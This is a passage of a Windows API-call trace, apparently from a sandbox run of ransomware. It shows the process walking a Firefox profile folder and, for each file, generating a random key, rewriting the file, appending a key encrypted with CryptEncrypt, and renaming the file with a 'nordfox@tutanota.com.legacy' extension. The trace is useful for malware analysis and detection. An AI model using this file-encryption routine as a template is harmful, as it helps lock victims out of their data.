hFindFile=0x30d4d30, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5afb75b, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x7c375100, ftLastAccessTime.dwHighDateTime=0x1d1deb2, ftLastWriteTime.dwLowDateTime=0x7c375100, ftLastWriteTime.dwHighDateTime=0x1d1deb2, nFileSizeHigh=0x0, nFileSizeLow=0x998, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="widevinecdm.dll.lib", cAlternateFileName="WIDEVI~1.LIB")) returned 1 [0199.926] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578388 | out: hHeap=0x520000) returned 1 [0199.926] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x553700 [0199.926] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x2f78b28 [0199.926] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553700 | out: hHeap=0x520000) returned 1 [0199.926] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x2f66a40 [0199.926] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f78b28 | out: hHeap=0x520000) returned 1 [0199.926] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x5785d8 [0199.926] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f66a40 | out: hHeap=0x520000) returned 1 [0199.926] GetLastError () returned 0x0 [0199.926] SetLastError (dwErrCode=0x0) [0199.926] GetLastError () returned 0x0 [0199.926] SetLastError (dwErrCode=0x0) [0199.926] GetLastError () returned 0x0 [0199.926] SetLastError (dwErrCode=0x0) [0199.926] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574860 [0199.926] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574860 | out: hHeap=0x520000) returned 1 [0199.926] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xf0) returned 0x584f40 [0199.926] FindNextFileW (in: hFindFile=0x30d4d30, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5afb75b, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x7c375100, ftLastAccessTime.dwHighDateTime=0x1d1deb2, ftLastWriteTime.dwLowDateTime=0x7c375100, ftLastWriteTime.dwHighDateTime=0x1d1deb2, nFileSizeHigh=0x0, nFileSizeLow=0x998, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="widevinecdm.dll.lib", cAlternateFileName="WIDEVI~1.LIB")) returned 0 [0199.926] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xf0) returned 0x585dc8 [0199.927] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4218 [0199.927] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3448 [0199.927] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0199.927] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0199.927] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\gmp-widevinecdm\\1.4.8.903\\widevinecdm.dll.lib", dwFileAttributes=0x80) returned 1 [0199.927] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xf0) returned 0x585038 [0199.927] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x166) returned 0x6188c8 [0199.927] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x585038 | out: hHeap=0x520000) returned 1 [0199.927] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\gmp-widevinecdm\\1.4.8.903\\widevinecdm.dll.lib" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\gmp-widevinecdm\\1.4.8.903\\widevinecdm.dll.lib"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c40 [0199.928] GetFileSizeEx (in: hFile=0x1c40, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=2456) returned 1 [0199.928] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x998) returned 0x3562008 [0199.928] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x998) returned 0x30ca018 [0199.928] ReadFile (in: hFile=0x1c40, lpBuffer=0x3562008, nNumberOfBytesToRead=0x998, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesRead=0x2e1f9bc*=0x998, lpOverlapped=0x0) returned 1 [0199.933] SetFilePointer (in: hFile=0x1c40, lDistanceToMove=-2456, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0199.933] WriteFile (in: hFile=0x1c40, lpBuffer=0x30ca018*, nNumberOfBytesToWrite=0x998, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ca018*, lpNumberOfBytesWritten=0x2e1f9bc*=0x998, lpOverlapped=0x0) returned 1 [0199.933] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x3562008 | out: hHeap=0x520000) returned 1 [0199.933] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30ca018 | out: hHeap=0x520000) returned 1 [0199.933] SetFilePointer (in: hFile=0x1c40, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x998 [0199.933] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0199.933] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0199.934] WriteFile (in: hFile=0x1c40, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0199.934] WriteFile (in: hFile=0x1c40, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0199.934] CloseHandle (hObject=0x1c40) returned 1 [0199.934] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4218 | out: hHeap=0x520000) returned 1 [0199.934] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3448 | out: hHeap=0x520000) returned 1 [0199.934] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\gmp-widevinecdm\\1.4.8.903\\widevinecdm.dll.lib" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\gmp-widevinecdm\\1.4.8.903\\widevinecdm.dll.lib"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\gmp-widevinecdm\\1.4.8.903\\widevinecdm.dll.lib.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\gmp-widevinecdm\\1.4.8.903\\widevinecdm.dll.lib.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0199.936] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x6188c8 | out: hHeap=0x520000) returned 1 [0199.936] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x585dc8 | out: hHeap=0x520000) returned 1 [0199.936] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584f40 | out: hHeap=0x520000) returned 1 [0199.936] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xf0) returned 0x585320 [0199.936] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c53a0 [0199.936] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3518 [0199.936] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0199.936] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0199.936] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\gmp-widevinecdm\\1.4.8.903\\widevinecdm.dll", dwFileAttributes=0x80) returned 1 [0199.936] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xf0) returned 0x585510 [0199.936] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x166) returned 0x619198 [0199.936] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x585510 | out: hHeap=0x520000) returned 1 [0199.936] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\gmp-widevinecdm\\1.4.8.903\\widevinecdm.dll" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\gmp-widevinecdm\\1.4.8.903\\widevinecdm.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c40 [0199.937] GetFileSizeEx (in: hFile=0x1c40, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=5811704) returned 1 [0199.937] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x58adf8) returned 0x3d2b020 [0199.948] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x58adf8) returned 0x42cd020 [0199.959] ReadFile (in: hFile=0x1c40, lpBuffer=0x3d2b020, nNumberOfBytesToRead=0x58adf8, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3d2b020*, lpNumberOfBytesRead=0x2e1f9bc*=0x58adf8, lpOverlapped=0x0) returned 1 [0200.207] SetFilePointer (in: hFile=0x1c40, lDistanceToMove=-5811704, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0200.207] WriteFile (in: hFile=0x1c40, lpBuffer=0x42cd020*, nNumberOfBytesToWrite=0x58adf8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x42cd020*, lpNumberOfBytesWritten=0x2e1f9bc*=0x58adf8, lpOverlapped=0x0) returned 1 [0200.280] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x3d2b020 | out: hHeap=0x520000) returned 1 [0200.301] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x42cd020 | out: hHeap=0x520000) returned 1 [0200.386] SetFilePointer (in: hFile=0x1c40, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x58adf8 [0200.386] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0200.386] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0200.386] WriteFile (in: hFile=0x1c40, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0200.386] WriteFile (in: hFile=0x1c40, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0200.386] CloseHandle (hObject=0x1c40) returned 1 [0200.386] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c53a0 | out: hHeap=0x520000) returned 1 [0200.386] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3518 | out: hHeap=0x520000) returned 1 [0200.387] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\gmp-widevinecdm\\1.4.8.903\\widevinecdm.dll" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\gmp-widevinecdm\\1.4.8.903\\widevinecdm.dll"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\gmp-widevinecdm\\1.4.8.903\\widevinecdm.dll.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\gmp-widevinecdm\\1.4.8.903\\widevinecdm.dll.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0200.389] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x619198 | out: hHeap=0x520000) returned 1 [0200.389] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x585320 | out: hHeap=0x520000) returned 1 [0200.389] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x585608 | out: hHeap=0x520000) returned 1 [0200.389] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe0) returned 0x30f4730 [0200.389] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4218 [0200.389] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3448 [0200.389] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0200.389] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0200.389] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\gmp-widevinecdm\\1.4.8.903\\manifest.json", dwFileAttributes=0x80) returned 1 [0200.390] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe0) returned 0x30f3ff0 [0200.390] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x14e) returned 0x5e7148 [0200.390] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30f3ff0 | out: hHeap=0x520000) returned 1 [0200.390] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\gmp-widevinecdm\\1.4.8.903\\manifest.json" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\gmp-widevinecdm\\1.4.8.903\\manifest.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c40 [0200.390] GetFileSizeEx (in: hFile=0x1c40, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=348) returned 1 [0200.390] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x15c) returned 0x5e81c0 [0200.390] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x15c) returned 0x5e8328 [0200.390] ReadFile (in: hFile=0x1c40, lpBuffer=0x5e81c0, nNumberOfBytesToRead=0x15c, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5e81c0*, lpNumberOfBytesRead=0x2e1f9bc*=0x15c, lpOverlapped=0x0) returned 1 [0200.391] SetFilePointer (in: hFile=0x1c40, lDistanceToMove=-348, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0200.391] WriteFile (in: hFile=0x1c40, lpBuffer=0x5e8328*, nNumberOfBytesToWrite=0x15c, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5e8328*, lpNumberOfBytesWritten=0x2e1f9bc*=0x15c, lpOverlapped=0x0) returned 1 [0200.391] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e81c0 | out: hHeap=0x520000) returned 1 [0200.391] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8328 | out: hHeap=0x520000) returned 1 [0200.391] SetFilePointer (in: hFile=0x1c40, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x15c [0200.392] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0200.392] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0200.392] WriteFile (in: hFile=0x1c40, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0200.392] WriteFile (in: hFile=0x1c40, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0200.392] CloseHandle (hObject=0x1c40) returned 1 [0200.392] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4218 | out: hHeap=0x520000) returned 1 [0200.393] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3448 | out: hHeap=0x520000) returned 1 [0200.393] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\gmp-widevinecdm\\1.4.8.903\\manifest.json" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\gmp-widevinecdm\\1.4.8.903\\manifest.json"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\gmp-widevinecdm\\1.4.8.903\\manifest.json.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\gmp-widevinecdm\\1.4.8.903\\manifest.json.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0200.394] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e7148 | out: hHeap=0x520000) returned 1 [0200.394] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30f4730 | out: hHeap=0x520000) returned 1 [0200.394] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30f3f08 | out: hHeap=0x520000) returned 1 [0200.394] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe0) returned 0x30f3a80 [0200.394] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c53a0 [0200.394] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3478 [0200.394] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0200.394] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3478 | out: pbBuffer=0x5c3478) returned 1 [0200.394] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\gmp-widevinecdm\\1.4.8.903\\LICENSE.txt", dwFileAttributes=0x80) returned 1 [0200.394] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe0) returned 0x30f3998 [0200.394] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x14e) returned 0x5e7148 [0200.395] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30f3998 | out: hHeap=0x520000) returned 1 [0200.395] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\gmp-widevinecdm\\1.4.8.903\\LICENSE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\gmp-widevinecdm\\1.4.8.903\\license.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c40 [0200.395] GetFileSizeEx (in: hFile=0x1c40, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=479) returned 1 [0200.395] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1df) returned 0x5646a8 [0200.395] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1df) returned 0x52f438 [0200.395] ReadFile (in: hFile=0x1c40, lpBuffer=0x5646a8, nNumberOfBytesToRead=0x1df, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5646a8*, lpNumberOfBytesRead=0x2e1f9bc*=0x1df, lpOverlapped=0x0) returned 1 [0200.396] SetFilePointer (in: hFile=0x1c40, lDistanceToMove=-479, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0200.396] WriteFile (in: hFile=0x1c40, lpBuffer=0x52f438*, nNumberOfBytesToWrite=0x1df, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x52f438*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1df, lpOverlapped=0x0) returned 1 [0200.396] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5646a8 | out: hHeap=0x520000) returned 1 [0200.396] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x52f438 | out: hHeap=0x520000) returned 1 [0200.396] SetFilePointer (in: hFile=0x1c40, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1df [0200.396] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0200.396] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0200.397] WriteFile (in: hFile=0x1c40, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0200.397] WriteFile (in: hFile=0x1c40, lpBuffer=0x5c3478*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3478*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0200.397] CloseHandle (hObject=0x1c40) returned 1 [0200.397] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c53a0 | out: hHeap=0x520000) returned 1 [0200.397] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3478 | out: hHeap=0x520000) returned 1 [0200.398] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\gmp-widevinecdm\\1.4.8.903\\LICENSE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\gmp-widevinecdm\\1.4.8.903\\license.txt"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\gmp-widevinecdm\\1.4.8.903\\LICENSE.txt.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\gmp-widevinecdm\\1.4.8.903\\license.txt.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0200.399] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e7148 | out: hHeap=0x520000) returned 1 [0200.399] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30f3a80 | out: hHeap=0x520000) returned 1 [0200.399] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30f4648 | out: hHeap=0x520000) returned 1 [0200.400] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x2f67788 [0200.400] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f6af88 | out: hHeap=0x520000) returned 1 [0200.400] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f668b0 | out: hHeap=0x520000) returned 1 [0200.400] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f635c0 | out: hHeap=0x520000) returned 1 [0200.400] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x23c2e4c, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x41de8bd2, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0xfd376ea2, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x30d4e30 [0200.400] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5785d8 | out: hHeap=0x520000) returned 1 [0200.400] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x553700 [0200.400] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x2f79650 [0200.400] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553700 | out: hHeap=0x520000) returned 1 [0200.400] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x2f67210 [0200.400] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f79650 | out: hHeap=0x520000) returned 1 [0200.400] GetLastError () returned 0x0 [0200.400] SetLastError (dwErrCode=0x0) [0200.400] GetLastError () returned 0x0 [0200.400] SetLastError (dwErrCode=0x0) [0200.400] GetLastError () returned 0x0 [0200.400] SetLastError (dwErrCode=0x0) [0200.400] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 